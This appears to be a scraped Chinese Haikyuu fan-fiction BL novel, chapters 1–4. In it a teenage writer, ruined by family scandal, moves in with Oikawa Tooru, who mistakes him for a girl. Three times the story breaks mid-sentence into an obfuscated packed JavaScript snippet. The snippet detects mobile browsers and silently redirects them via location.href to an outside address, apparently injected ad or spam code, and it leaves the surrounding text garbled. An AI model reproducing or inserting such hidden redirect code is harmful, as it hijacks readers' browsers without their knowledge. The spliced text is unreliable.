《在运动番写BL同人这对吗?》 1. 初雪 “很多年后奥林匹克上校面对中华拉面,想起了,他父亲带他喝啤酒加冰的日子……” “?” 鹤见深雪露出疑惑的表情,望向眼前的杂志编辑。 “……您在说什么?奥林匹克?” 《青春Oricon》杂志编辑大滝悠成被鹤见深雪质疑后显得有些窘迫,“不是吗?总之就是主角第一次看见大冰——哎,服务生,咖啡加冰。” “您说的该不会是——奥雷里亚诺·布恩迪亚上校吧?那是《百年孤独》——” “这很重要吗?鹤见老师。” 大滝悠成向后靠在咖啡馆并不舒适的椅背上,原想教训这个区区高中的新秀作家,结果反倒被他教育了,这让大滝悠成觉得失了面子,他态度冷淡—— “我的重点是,你小说的开头给我的感觉就是这种。” 坐在对面的鹤见深雪天蓝色的眸子惊讶到缓慢地睁大,白得透明的皮肤被玻璃外的日光照得反光,金灿灿的头发更是漂亮到刺眼,坐在某处有种雪似得无辜。 他微微带有婴儿肥的脸颊因为大滝悠成的一句话而泛起绯红。 ——天呐,第一次有人给我这么高的评价! 鹤见深雪先是激动,但很快平静下来,心跳加速,羞耻迎上心头,连连摆手,道:“不不不,您实在是谬赞了……” 他额头贴着桌子,恨不得当场磕头,“这样的评价实在让我惶恐,我还有好多不足之处,万万没有……” “?” 大滝悠成看着突兀开始自谦的鹤见深雪——莫名其妙,这孩子怎么听不懂好赖话啊? 鹤见深雪,17岁,初二年级在《青春Oricon》杂志连载过首秀作品《无尽魔法长夜》,并在第二年的「Oricon青春文学大赏·第17回」获得了「年度青春奇幻赏」而正式出道。 但当时他的父母似乎不愿意他从事写作工作,而且还对杂志将他的照片放到封面的宣传策略不满,差点闹到官司,最后很不愉快。 他在那时接受过采访,后又被扒出来是个又官又富的少爷,于是此事不了了之,至今互联网还留有一些关于他样貌、家境、作品的传说。 几天前,《青春Oricon》主编再次收到了鹤见深雪的投稿。 他曾是杂志的签约作家,但是四年未写,合同也没有了,需要重新签约。 当时主编都官运亨通升迁了,新主编看过稿子之后觉得文字仍有灵气,额外表达了一些需求后,就随意将他指派给了编辑大滝悠成。 大滝悠成看着激动的鹤见深雪,又翻了翻眼前的稿子,轻飘飘地哼了一声。 咖啡馆的应侍生端来两杯咖啡,一杯白雾袅袅,一杯加了冰块。 冰块浮在黑色的咖啡上旋转,形成了一个漩涡。 大滝悠成伸出手指,轻轻点了点白色稿纸的封面,上面写了两个《漩涡》字。 “鹤见老师,打断一下,我其实不是在夸你。” “欸?” 鹤见深雪的笑容凝固。 “我的意思是,你的作品——很烂。” 大滝悠成不客气地说道:“不枉我说,就算是《百年孤独》放到我们杂志也只有扑街的份。 “您当初的《无尽魔法长夜》不是写的挺好的吗?——两个被骗的魔法少女,不断重复改变彼此死去的那一天,于是不停的错过,不是你死就是我活…… “现在写的这本——叫什么?哦,《漩涡》,少女葛叶因为被冤枉、遭遇乡村对女性的偏见,努力学习,最后来到东京工作——嗯,到这里还挺好的,后面写的是什么玩意——? “先是无法偿还助学金,被性骚扰、潜规则,然后又被坏男人骗,被迫当上陪酒女,陷入无止境的贫困,最后一把年纪了还爱上了,又被坏男人骗光最后家产,流落露宿车站街头……” 鹤见深雪见大滝悠成完全不理解他小说的情节,痛批不够真实,立刻急得面红耳赤说道:“我觉得文学是具有批判性,而且这些故事也不是我自己瞎编的,亲自出口于我包括我家佣人在内的活生生的人。” 佣人? 大滝悠成觉得自己受到了深深的重击。 “她勤劳、善良,所以我一直想把她的故事写出来,不想让她的人生毫无痕迹,也不想想她这样的人永远不能被看见,隐藏在光鲜亮丽的城市角落。” 大滝悠成冷笑:“就算是真实的又如何,这样的故事没有人会看的,而且我想葛叶女士真的存在,也不会想让别人知道自己的隐私。” 鹤见深雪好看的眉毛拧成一团,“文学不是在写一个人的故事,而是一群……” 大滝悠成看看手腕上的表,打断道:“您应该知道签约作者需要按照编辑和大众喜好更改自己的文章,这是签约的前提吧?” 鹤见深雪被噎了一下,闭上了嘴,点了点头。 看到鹤见深雪的表情,大滝悠成轻掩得意神色,说道:“那就按我说得改,你的女性视角写的不错,文笔也偏华美,前面努力学习这段都挺好,就从职场骚扰这段开始吧?——这里需要加入一个男性角色,英雄救美——” 鹤见深雪想象力丰富,在大滝悠成的描述中,他很快看见了一个设定冷峻帅气的但油腻无比的无脸男壁咚相貌平平的葛叶。 ——为什么无脸男?因为他不知道什么男人才叫帅。 大滝悠成:“男人是个富二代——你肯定很有生活,性格冷峻,哦不对,现在流行东京圈佛子人设了,他倾心于葛叶的容貌……” “……可是设定里葛叶女士相貌平平。” 被打断的大滝悠成面色不悦,“长得丑怎么做女主角,长得丑活该贫困!女人有那么多时间用来修饰自己的容貌,这是她们的工作,如果她很丑,就说明她们的工作很差劲——” “——还有,请不要再打断我了。” 鹤见深雪彻底闭上了嘴,他好像有点明白了自己无法在与眼前的编辑沟通,于是做了哑巴,听着眼前编辑的滔滔不绝。 一下午。 鹤见深雪轻轻偏头,躲开了说到激情处的大滝悠成喷出的唾沫,看向自己右侧落地玻璃外—— 今天是2010年的第一场雪。 纷纷扬扬的落雪在偏蓝色的空气中舞蹈。 “好了,就这样,以你的文笔和我说的剧情,完全是爆款小说的资质,对了,小说得改个名字,就叫《关于贫穷的我和住在我隔壁的落魄东京少爷对我一见钟情的那档子事》。” 鹤见深雪看到编辑将《漩涡》两个字划掉,写了一行字在下面,这是新的标题。 鹤见深雪点点头,收回了被画的乱七八糟的稿子,沉默不语。 “时间差不多了,鹤见老师,稿子改完了记得和我打电话,我们再继续讨论。”大滝悠成拿起公文包站起来,其实还能、且还想继续对眼前这个漂亮学生说教,但喝了一下午咖啡,让他尿有点急。 道别之后,大滝悠成一面打电话一面冲向厕所,对电话里的人说,“对对,今天吃中华拉面,喝啤酒加冰……” 大滝悠成标志性的大嗓门逐渐远去,鹤见深雪也有点累了,虽然大滝悠成说的话他一句话也没听,但忍耐也需要很大的力气。 他有些珍惜地掏出橡皮,将被编辑贬得一文不值的白色稿纸上,用铅笔写的内容擦去。 大滝悠成用的力气很大,即使擦掉也留有很深的印记。 他麻木地擦着,很快有水滴落到封面上,同时书包里的电话响起,他手忙脚乱地擦擦脸,接通电话—— “妈……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119806|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小雪!快出来!我在红绿灯等你。”妈妈的声音被电波扭曲,很急切,“今天下午我要去美国了,爸爸也从监狱里出来了——我和他一起去。” “噢——那我……” “所以我现在就要把你送到宫城。” “这么快?!……那、那我的东西呢?”鹤见深雪惊讶地问道,语气有些哽咽。 几分钟后,鹤见深雪坐在了汽车的后排。 后车厢装不下的书、杂志、漫画、文稿以及衣服日用品,堆到本不宽敞的后座,他就和书挤在一块,一本精装的《百年孤独》边角坚硬,把他白得发光的膝盖戳出红印子。 家里的六个司机早已辞退,豪车变卖,老妈还不算熟练的开一辆普通的奔驰。 要说为什么不过是区区的家庭变故而已。 鹤见深雪——母亲是美国财团独生女、父亲是日本教育部大臣,从小娇生惯养,放到小说里,至少是龙傲天爬到的一百章才能干掉的富二代。 不知道这个世界线里哪个龙傲天崛起了,他才十七岁,被一朝打落泥土。 老爸被冤贪污入狱,母亲家族深陷垄断和税务风波,需要举家迁往的美国老家。 当然,这个举家并不包含鹤见深雪。 他被老爸暂时安放到了年轻时帮助过的一个下属家里。 鹤见深雪从书包里掏出一张泛黄的旧照片,照片里两个小孩穿着和服手牵着手,照片的背面写着: ——2001年彻和雪,在东京,鹤见府,最好的朋友。 鹤见深雪对此毫无印象。 * “及川!发球!” 迅猛飞驰的排球落到了及川彻的手中,他一跃而起,感受到掌心排球的形变,熟练的调整角度,将排球狠狠砸到球网对面。 “YES!发球得分!” 及川彻用力握拳庆贺,汗水从他优越的轮廓滑下,在排球场的酣畅淋漓下露出毫无阴霾的笑容,潇洒地撩了撩刘海,结束一天的训练。 “——那,我先回家咯!” “打扫卫生啊!啊?!” 及川彻熟练地无视队友花卷贵大的咆哮,自顾自地开始换掉排球鞋。 “善良的岩泉大人今天帮我值日哦~” 岩泉一在花卷贵大的震惊的目光中,捡起地上的排球,挨个打入球框中。 花卷贵大沉默片刻,严肃道:“喂——世界末日了吗?” “怎么可能?马上就要世界末日还呆这里打排球,我们这群排球少年也太悲哀了吧?” “那你怎么会帮及川——打!扫!卫!生!” 岩泉一终于转过身,面无表情:“因为及川今天要去告白。” 及川彻连忙从身后捂住岩泉一的嘴,“他胡说的,万人迷及川先生怎么会去告白呢哈哈哈。” 告白是不可能的,这辈子都不可能,及川彻在感情上还从来没有主动过,不过是再见一眼十年前就认识的童年异性好友罢了。 ——但,如果那个印象中不爱说话,性格温和善良的漂亮小女孩,还和以前一样,牢牢记得他,并且也表现出对他的与自己相似的情绪的话,也不是不可以。 及川彻这样想。 岩泉一狠狠瞪着及川彻。 敷衍完八卦的排球部员,及川彻朝着自行车停放点跑去。 他个高腿长,迈开步子当别人两步,潇洒跨坐在自行车上,打开手机是妈妈刚发来的消息。 【深雪——就是我之前和你说的那个鹤见伯伯家的孩子,他们家没少帮助过咱家,你们小时候关系很好,或许你不记得了,对人家客气点。】 及川彻单手打字,输入—— 【我记得啊,老妈,别小看人好吧!】 【她到了吗?】 2. 哥哥 不可避免,2010年宫城县一场飞扬而落的大雪,总会让及川彻想起与朦胧爱情邂逅的命运。① 及川彻顶着大雪,骑着自行车回家。 刚赶回家门就看见了停在院子里的一辆价值不菲的奔驰,大约知道母亲为什么未读他消息了。 及川彻,17岁,青叶城西高中部二年级第三学期,校排球社社长,宫城县最佳二传手。 17年的时间里,第一次对推开家门感到了由衷的紧张。 早知道把小岩一起拉来了。 7岁时候认识的女孩,实在没有到要谈喜欢的地步。 但确实奇怪,每每有人向及川彻告白,或者提及及川彻理想型的时候,脑子里总会钻入一个粉雕玉琢的金发蓝眸小女孩。 听起来有点像恋童癖? 其实不然,恰恰相反。 及川彻在暗中了解过或者在父母偶然地提及鹤见深雪的事情,随着别人的描述,他心目中的那个小女孩一直在和自己一样的稳固成长。 及川彻记得她比自己小了几个月。 女孩子应该不会很高。 是混血儿,不知道现在头发会不会变深? 他深吸一口气,推开了门,像是揭晓一个答案的谜底。 * 及川家是日式的装修风格,暖气开的很足。 鹤见深雪环视了一圈。 ——好小。 二层带院的日式小楼,这是他第一次住这么小的房子。 鹤见深雪在写作上虽然同情广大的穷苦人民,愿意为他们立书作传,但不代表自己喜欢过穷苦生活。 更何况,正所谓出名要趁早,鹤见深雪写作还是他发誓扬名立万的手段。 他不仅不喜欢穷生活,甚至可以说奢靡惯了。 沙发好硬。 电灯好暗。 下雪了却没有壁炉,要知道雪天坐在壁炉旁看书可是他的爱好。 及川太太和母亲正在聊天。 青叶城西的入学资格已经拿到,明年开春直接入学三年级。 及川太太不敢多问鹤见家事,甚至不敢问为什么不把鹤见深雪也带去美国,于是两个人的谈话仅仅止步于各自孩子。 作为主人公之一的鹤见深雪像个局外人一样的盯着纷繁飘落的大雪,耳边时不时听见及川彻这个名字。 及川先生早年结识鹤见先生,带着自己的儿子在东京鹤见家住过一段时间。 鹤见深雪和及川彻就在那时候相处过,但都十年前的事情了,鹤见深雪早就忘得精光,连那张照片都是鹤见太太从鹤见深雪童年博物馆里翻出来的。 鹤见深雪拿着照片也想不起来,竟然真的像是清空记忆了一样,要知道那个相册里还有与其他同龄人的合影,鹤见深雪都或多或少有点印象。 唯独及川彻。 所以只能耐心的听着第三人讲自己的故事。 鹤见太太说,他和及川彻关系很好,经常哥来哥去的粘着他,小时候鹤见深雪是家里最不起眼的孩子,只有及川彻愿意保护他,于是各种粘着他。 保姆吓他,太黏人小心被讨厌哦。鹤见深雪就害怕得不敢理及川彻,最后被及川彻逗得大哭特哭。 ——有这回事吗?我是这种人设吗?你们讲的是平行世界的故事吧? 鹤见深雪光是想到那种场面都恨不得钻地缝里。 及川太太又说,及川彻爱打排球,完全的排球笨蛋,只要找不到他可以去排球场试试,一抓一个准的程度。 及川太太问他喜欢排球吗? 鹤见深雪连忙摇头。 这辈子唯一碰过的运动就是高尔夫和网球。 前者闪过腰,后者砸过脸。 ——他对这种危险运动真是敬谢不敏,人的生命在于静止啊。 鹤见深雪默默记下有关及川彻的种种事迹,心里在一一点评。 最后得出的结论是——及川彻这个人和自己绝对不会对付。 爱写作的人多半话也很多,家教严格,他养成了在心里吐槽的习惯。 及川太太提及及川彻,虽然大多说他的不是,但满脸骄傲根本掩不住——她非常爱自己的儿子。 鹤见深雪见此,心中又有些说不出来的怅然,放在沙发上的手指无意识地开始勾勒出及川彻名字的罗马字母。 哼,OIKAWA 还挺好听的,干脆用作下本书的男主的名字吧。 your名字不错,下一秒mine。 “妈,我回来了。” 门锁咔吧的声音后,是很清澈、婉转还带点绵软的少年声线。 他进来的时候,蓬松的头发上挂着一层白雪,系条浅棕色格纹围巾,一张可以评价为漂亮的帅气脸庞,清澈的蜜棕色眼眸笑起来是弯的,穿着青蓝色的青叶城西的校服,外面还套了件淡棕色的大衣。 及川彻第一时间入目的是坐在欧式沙发上背对着自己一颗金色毛球。 金灿灿的直发,齐肩长度,昏黄灯光像最细的流动着的金丝,保养得体,似簌簌落下的一匹锦缎,浮光溢彩,听见他的声音后,金发少年很快速地扭头,头发随着他的动作裙摆似得划出漂亮的弧线。 像是所有聚光灯往他身上打,及川彻只能看见他一个人。 很白很亮的皮肤,蓝宝石的眼睛移动到眼角,因为扭头的动作,及川彻只能看见他脸三分之二,珍珠白的鼻尖翘起,微微泛红,樱色嘴唇紧抿,半张脸的轮廓每一寸都是完美的弧线。 他有和异国的眼睛和头发,五官却不锋利,完全柔和的日本女孩面孔。 身材瘦得可怜,转过来的肩膀薄得像是纸片一样,穿件白色羊毛衣,高领子,托着一张漂亮的娃娃脸,毛衣贴着身体。 及川彻并非故意,只是善于观察,发现对方身板实在太瘦,胸部完全没有,像个小男孩。 他的心里有些疑惑,但这实在太不礼貌,他连忙抛之脑后。 “阿姨,小雪,你们好!” 鹤见太太看到如此青春帅气的及川彻同样是眼前一亮,鹤见深雪更是惊讶到目瞪口呆。 及川彻——好高! 鹤见深雪这次彻底红温了,他的身高只有155,而及川彻少说一米八。 一米八——我的梦想啊啊啊! 及川彻两步走到鹤见深雪等人面前,鹤见深雪出于礼貌只能站起来和他鞠躬,自己在及川彻的面前,跟个小学生一样。 站起来和坐着也没什么区别。 十年前照片上两人只有半个脑袋的差距,他是大猩猩吗?到底吃什么长大的? 两人对头鞠了一躬,及川彻笑脸盈盈地盯着鹤见深雪看,双方弯腰的时候,及川彻也抬头和他对视。 一双清澈棕眸好像透过人的灵魂,把鹤见深雪刚刚对及川彻的阴暗嫉妒看得一清二楚。 “彻、彻哥,你好。” 他仰着张漂亮小脸,完全是及川彻记忆中小孩等比例放大。 喊哥的时候,有点模糊不清,声如蚊蚋,声线低沉。 及川彻微不可闻地皱了下眉头。 鹤见深雪的声线和一般围着他叽叽喳喳的女孩来说,实在是有些低沉了。 ——感冒了? 及川彻坐在老妈身边,鹤见深雪的对面。 鹤见深雪似乎避免和及川彻对视,眼神飘忽,动作拘谨,时不时看向窗外,又看了看茶几,注意力完全不在及川彻的身上。 ——嗯,不记得。 不过也正常,说起来小岩吐槽过他怎么这么久的事情还能记得才更是厉害。 当然他记那么清楚,也只是及川先生自己的记忆力惊人而已。 小岩欠他的五万块到现在他还记得。 嗯对,也不是所有人都能和及川先生一样的记忆力,平时上课不用听讲,只要临考几天就能把知识点全记住。 当然是及川先生太厉害的缘故,他才没有特别在意鹤见深雪记不记得他。 哈哈哈他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119807|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才真的一点不在意。 及川彻维持着体面的微笑,略带侵略性的目光落在鹤见深雪身上,让他躲无可躲。 ——难道说是害羞了? 学校喜欢他的女生,从青叶城西排到北川一中,情书、偶遇、故作看不爽来引起他的注意,一见面就尖叫着跑开的女生,每天都得碰到好几个。 及川彻仍然不敢相信,当初他每天黏着自己的小女孩,就真的把自己完全忘得一干二净了。 他从来善于辞令,此刻也不知道该对鹤见深雪说什么。 及川彻的到来也让鹤见母亲加快了托付孩子仪式的进程。 她很快在鹤见深雪更加不安的眼神中站起来准备离开。 母亲要走已经是板上钉钉,及川彻看到鹤见深雪的惶恐,把他忘记自己的事情抛之脑后,正想怎么开口安慰他。 他就听见母亲说,“给深雪准备的房间还没收拾好,暖气因为那间屋子经常不开,需要找人来维修一下,所以今晚暂时委屈深雪和彻睡一晚吧——他的房间我已经收拾……” “欸——??” 鹤见深雪还没对这个雪上加霜的消息击倒,先听见及川彻高亢嘹亮的惊讶声。 他看向及川彻,发现及川彻正慌张的制止母亲,不似之前的游刃有余,表情丰富,有点好笑。 鹤见深雪终于忍不住露出进门之后的第一个笑容,甚至忘了自己也想拒绝这个同住一夜的要求。 “妈,等、等一下,你……” “怎么了?”及川太太惊讶地转过头看向儿子。 你说怎么了??及川彻心中更是纳闷,就算是暖气开不了,也应该是让他睡姐姐的房间吧?他们都十七岁了,不是七岁,这个年龄都能结婚了! 及川彻还在斟酌如何开口,就听母亲压低声线威胁道:“你少说废话!” 看来老妈是误以为他小气不愿意让鹤见深雪住。 及川彻于是把目光投到鹤见深雪母亲的那边——怎么也不会有妈妈会让人自己的女儿和同龄男孩住一间屋子吧?太失礼了。 “啊,那不会太不方便了吧?” “不会啊,彻的房间很大的,小雪别嫌弃他就行。” “那是绝对没有的事!深雪小时候不和阿彻睡,就睡不着……这样,就听由美你的安排吧!” 及川彻:“……” 及川彻连忙看向鹤见深雪,他似乎也不太想同住,但感受到自己的目光之后,连忙换上僵硬的笑脸,故作大方表示自己非常愿意,一点也不介意。 “???” ——这女孩子真的一点自我保护意识都没有,从小到大都是! 及川彻还在惊诧难道是因为自己想歪了,戴着黄色的眼睛,所以看什么都是黄色? 鹤见母亲正式起身道别,鹤见深雪连忙站起来追着妈妈走到了院子。 他头上很快落满了雪,像是白了头发。 鹤见深雪穿的很少,在汽车旁和说话,母亲似乎劝他回去,可他还是站在原地。 及川彻下意识的拿起自己挂在玄关的大衣,等到反应过来的时候,已经披到鹤见深雪的身上了。 他身板小,及川彻微微一拢,他就整个被罩在及川彻的大衣底下。 鹤见深雪像是受惊小鸟,他在心里吐槽及川彻,但面对及川彻仍怵得慌,连忙推拒,道:“啊不、不不用了,谢谢你啊彻哥。” 这是鹤见深雪对他说得最长的一句话。 及川彻手一僵,愣在原地。 ——“?” 鹤见深雪没在意他,连忙回头,妈妈的车已经消失在漫天飘落的白雪中了。 及川彻缓慢垂下眼睛,有些不敢置信于自己的恐怖猜测。 他听见有人鼻涕抽泣的声音,低头从后侧看向鹤见深雪被高龄羊毛衫遮挡的纤长的脖颈。 鹤见深雪相当配合的用力吞咽了一下。 小小的喉结上下移动。 等下?!有点不对劲啊! 3. 杂志 目送完老妈,鹤见深雪回过头,看见及川彻无比震惊的样子,露出茫然的表情。 “深雪,请来这边。” “好的伯母,我马上过来。” 鹤见深雪原地立正。 目光越过及川彻看向屋里的及川太太,又仰头弱弱地看了眼及川彻,见这尊石像没有让开的意思,像个螃蟹一样的慢慢移动身子,然后侧身从石化了及川彻身边滑过。 说实在的,及川彻长这么高,这么壮,对鹤见深雪来说压迫感还蛮强的。 他其实有点怕那些特别高大,阳刚之气很重的男性。 大致原因也没什么不好说的。 小时候被这类男生堵厕所欺负过,欺负的原因是个子矮,瘦小,不够男生、娘炮。鹤见深雪敢打赌稍微有点女性化的男孩谁都经历过,不过管他呢。 ——鹤见深雪就是这样。打他揍他骂他,他都不会去改变。 ——他也不隐瞒这些事情,不觉得羞耻,应该觉得羞耻的人是那些欺负他的人。 鹤见深雪还是报复回去了,把欺负他的人写进小说,并在后记中告诉所有人,这些人是真实存在的。 在网上引发了不小的热议,很多读者产生了共鸣。 其实蛮好的,他还要谢谢那些人呢,否则他不能把校园霸凌写得那么真实。 不过—— 及川彻居然有一米八啊! 一米八是鹤见深雪的梦想啊! 恨死了,恨不得把全世界超过一米六的人都杀了! 干脆下本小说就叫《一觉起来全日本超过一米六的男人身高下降一米五,而一米五九点九的我震惊世界!》 还或者《身高不足一米六的我一怒之下引发了第三次世界大战》 鹤见深雪一边想入非非一边搬着手里书。 书重得夸张,鹤见深雪搬得跌跌撞撞,因为不熟悉房间结构,脚指撞到台阶,手一松,几大本书砸在脚背上。 啊啊啊啊啊!! 痛痛痛!! “怎么了?深雪。” “哈哈,我没事呢~” 鹤见深雪一张苍白的小脸,直接痛出冷汗,他小口吸气,手指把衣角揉皱都要保持微笑。 ——人生呢,就是装没事。 这是鹤见深雪妈妈在家里破产时对她说的第一句话。 鹤见深雪决心践行这一句话。 及川太太把鹤见深雪领到二楼的房间——一间八叠大的和室。 房间还没有鹤见深雪原来宅邸的小猫厕所大。 好在看起来是收拾得相当干净舒适。 其实这样的房子倒也算是适合鹤见深雪,他原来的卧室一百多平,其实能用到也就几十平。 他虽然是个富二代,实际上却是个阴暗死宅,一头死宅龟缩在角落里就挺好。 如果衣物、食品、网络充足,鹤见深雪能在四叠半大小的房子里住三个月不出门。 及川太太和他交代几句就离开了。 “呼——” 鹤见深雪松了口气,靠在门上,像个流体似的顺着门滑下来。 舒服多了。 就是好冷啊! 当穷人好苦,原来冬天这么冷的吗? 鹤见深雪原地打挺,又缩成一团,冷死了冷死了,怪不得及川妈妈要让他和及川彻住一晚。 他小心将自己的袜子脱了,淡粉色的脚趾上有青色的淤血,脚背也红肿着。 ——笨死了,鹤见深雪。 含泪在心里自己把自己骂了一顿,又穿回袜子,开始马不停蹄地一本本的整理书架。 鹤见深雪听见及川太太在做饭,在楼下当石像的及川彻总算是动了,他犹犹豫豫地对老妈说了一句,去打排球了。 及川彻家的房子表里如一的隔音很差,鹤见深雪连忙像个癞蛤蟆一样趴在地上偷听他们的对话。 ——其实也不算偷听,只是累了在地上趴一会儿,一不小心,听见了。 及川妈妈:“好……欸,不是说陪深雪玩一会儿吗?又要去打排球?” 及川彻那边一阵沉默,弄得鹤见深雪很着急。 ——千万别啊,我不用陪,你快去青春啊热血啊汗水啊的打排球吧。 第一次看到及川彻,鹤见深雪就知道了,这人和自己是完全合不来的。 究其根本大概是现充和死宅之间的根源战争吧。 还有一点,鹤见深雪不想承认,但确实是事实—— 及川彻长太帅了。 爱美之心人皆有之,但及川彻简直长在他XP上了。 如果一个人能选择自己的长相,鹤见深雪一定要说—— 我要长及川彻那样! 如果是异性,搞不好鹤见深雪就生出朦胧的爱慕之心了,但是同性,那就是同性相斥了。 没错!!他嫉妒!! 如果这个世界是一本漫画的话,及川彻应该是那种少女漫画里的花美男吧。 嗯,鹤见深雪对少女漫画、小说也颇有研究。 不过这世界应该不是漫画,因为及川彻不会弹琴,还爱玩排球这种女生绝缘的运动。 想到这里鹤见深雪舒服多了。 他会弹琴。 ——赢! 及川彻没叫鹤见深雪失望,他对老妈道:“……小岩喊我出去……雪……啊不,鹤见,有没有姐姐妹妹之类的?” 鹤见深雪好看的眉头像雪白的纸揉皱,耳朵贴更近了。 老妈:“——有吧?你问这个干嘛?你先拒绝小岩,去陪下深雪嘛——之前你想要的那个新排球……” 鹤见深雪带点婴儿肥的脸颊贴地板,被压变形,眼睛一酸——老毛病了,泪点很低,讲故事的时候,就经常自己编的故事,说着说着哭起来。 及川太太说这句话,让他有点难受。 他真的不习惯别人对他太好,因为他会忍不住黏上去的。 太黏人了,会被讨厌哦。 不过及川彻还是没叫鹤见深雪失望,他拒绝了母亲,去找那个叫小岩的人了。 哈哈真好啊,排球笨蛋宁愿不要新排球都不想跟他玩…… 想着想着,鹤见深雪竟然有点心酸。 但之前还那么热情,转眼就不理人了。 难道是因为亲妈走了的原因? 虽然本就应付不来别人对自己的过度热情和毫无距离感,但及川彻变脸也太快了。 最难受的是今晚还要和他住一晚,鹤见深雪此时才知追悔莫及。 他并不善于拒绝,现在让他倒流回之前,他也很难拒绝出口。 鹤见深雪全程靠自己收拾完房间,耗时四个半小时。 以十根手指、手肘、膝盖、胫骨、六个脚趾、头顶……等身体部位都分别受到不同程度的猛烈撞击为代价。 好在没有什么出血,于是鹤见深雪还能假装无事发生。 收拾完了,鹤见深雪也没下去,而是在地上躺了一会儿。 收拾房间是他近一年最大的运动。 也是他人生第一次收拾房间。 其实这样能自由自在的布置房间还蛮开心的。 没躺两分钟,鹤见深雪就原地打挺,掏出本子,盘腿坐在桌子上开始写日记和计划。 他的行动力向来很强。 虽说正经人不写日记,但鹤见深雪从来没把自己当正经人——哦不对,是普通人。 他这辈子是要做出一番成就来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119808|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 他要成为能够名垂青史的大作家。 所以他必须要给后人留点可研究素材。 日记就是最好的选择。 你看太宰治、芥川龙之介、武田百合子、鲁迅、胡适——多少日志啊。 而且日记要写得洒脱大方,竟显名家风范,要让后人看了会说一句——哎,不愧是能写出《xxx》的鹤见老师,每天忧国忧民,所思所想早已超越同龄人。 还得写得露出平凡人的一面,后人看了忍俊不禁——哎,不愧是能写出《xxx》的鹤见老师,竟有如此可爱的一面,如此平凡人的一面,恐怕就是这些平凡生活才是文学的奥妙之处。 昂呵呵呵呵—— 鹤见深雪一边幻想,一边乐得心里呵呵笑。 然后大笔一挥—— 日记里写道: 今日,雪,已至宫城。 寄居父亲朋友家,收拾屋子,累。 雪飘似絮、又似绪。 及川伯母,好。 及川彻,坏。 坏在长得太帅,比我帅。恐骗女孩无数,令人不齿。妈走之后,更是对我冷脸相对,如何处之? 编辑又拒稿,不识货。 妈妈没给生活费,如何生活? 只得继续投稿。 × 就几句话,不用写的太多,大致记录一下生活。 接着他又掏出笔记本,翻开,里面密密麻麻写了无数小说杂志的邮箱和联系方式。 深雪在《青春Oricon》这行字上打了个×。 向上看去,一溜子全是×。 其实《青春Oricon》能接待他,已经是看在以前的面子上了。 鹤见深雪也想过,他的才华恐怕也很一般,以前能出版,或许是因为年纪小,能被冠一个天才之名的噱头。 当年《青春Oricon》把他的脸印在封面上,年龄写在介绍语里的时候,他就被外公骂醒过。 深雪手指划过笔记本上的内容,这些杂志的联系方式都是他半个月前偷偷在书店抄下来的,目前只剩下《GARLAND!バラ恋人》没回复他。 他记得这个杂志,还是他最早投的几家之一。 唉。 鹤见深雪长叹一声,不过他只许自己伤感十分钟。因为今天规定的无论写什么,一定要写三千字的任务还没完成呢。 鹤见深雪刚打开笔记本,右下角就弹出邮件提醒,他全身一震,几乎脑子轰了一声。 是元谈社旗下的《GARLAND!バラ恋人》的投稿回执啊啊啊啊!! 鹤见深雪深吸几口气缓缓点开—— 鹤见老师,您好! 很遗憾告知…… 鹤见深雪看到这五个字的时候像是从头到尾浇了一盆凉水,往后一靠,深呼吸,沉默了二十秒才继续看下去—— 很遗憾告知您,经过编辑部激烈的讨论,您的小说《旋涡》没有通过我社的审稿,将不予刊登。 主要原因:我社是以女性腐向为内容,目标受众定位为14-24岁女性读者;我不知道您是不是投错稿了,您的小说在定位方向与我社杂志定位内容不相符合。 但您的文字在我们编辑部留下了深刻的印象,小说反应的内容也与我社女性主题相契合,私认为您的关注问题的视角,令人动容。 经过编辑部的决定,我社有意签约您为旗下作家,创作与我社定位相符合的作品,如果您愿意,我们可以约见详谈。 恳请回复。 我的联系方式是:06017837250 《GARLAND!バラ恋人》编辑 赤苇美智子 拜上。 4. 情花 鹤见深雪看着眼前的邮件。 反复读了数遍,又揉了揉眼睛—— 往后一倒。 呆呆地看着天花板。 几秒后,仰望着天花板无声尖叫,满地打滚,像只小狗一样的趴在床上,扬起拳头拿用力捶下的架势,却轻轻落下,无声抓狂,即使到现在他也没忘记这里不是他家。 鹤见深雪像条鱼一样的在房间滑动,几乎把八叠半房间地板的每个角落都擦了一遍,直到把自己的兴奋全部耗尽。 等下——激动完的第一件事还没做呢。 他掏出手机,在雅虎上搜索—— 「《GARLAND!バラ恋人》的稿费是多少?」 搜索无果。 一般杂志不会把稿费公布,不过他还是在论坛上得到了一个估计值。 每版25000块!! 一篇连载或者短篇至少两版,也就是说五万块!!! 